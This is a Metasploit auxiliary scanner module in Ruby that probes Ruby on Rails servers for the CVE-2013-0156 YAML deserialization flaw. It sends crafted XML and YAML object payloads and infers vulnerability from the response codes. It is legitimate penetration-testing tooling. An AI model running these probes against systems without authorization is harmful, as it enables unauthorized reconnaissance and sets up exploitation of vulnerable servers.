Ruby On Rails XML Processor YAML Deserialization Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Scanner',  
'Description' => %q{  
This module attempts to identify Ruby on Rails instances vulnerable to  
an arbitrary object instantiation flaw in the XML request processor.  
},  
'Author' => [  
'hdm', # author  
'jjarmoc' # improvements  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-0156'],  
['URL', 'https://www.rapid7.com/blog/post/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156/']  
]  
))  
  
register_options([  
OptString.new('URIPATH', [true, "The URI to test", "/"]),  
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]),  
])  
end  
  
def send_probe(ptype, pdata)  
odata = %Q^<?xml version="1.0" encoding="UTF-8"?>\n<probe type="#{ptype}"><![CDATA[\n#{pdata}\n]]></probe>^  
res = send_request_cgi({  
'uri' => datastore['URIPATH'] || "/",  
'method' => datastore['HTTP_METHOD'],  
'ctype' => 'application/xml',  
'data' => odata  
}, 25)  
end  
  
def run_host(ip)  
  
res1 = send_probe("string", "hello")  
  
unless res1  
vprint_status("#{rhost}:#{rport} No reply to the initial XML request")  
return  
end  
  
if res1.code.to_s =~ /^[5]/  
vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")  
return  
end  
  
res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")  
  
unless res2  
vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe")  
return  
end  
  
res3 = send_probe("yaml", "--- !ruby/object:\x00")  
  
unless res3  
vprint_status("#{rhost}:#{rport} No reply to the second YAML probe")  
return  
end  
  
vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}")  
  
  
if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200)  
print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => self.name,  
:info => "Module triggered a #{res3.code} reply",  
:refs => self.references  
})  
else  
vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set")  
end  
end  
end  
`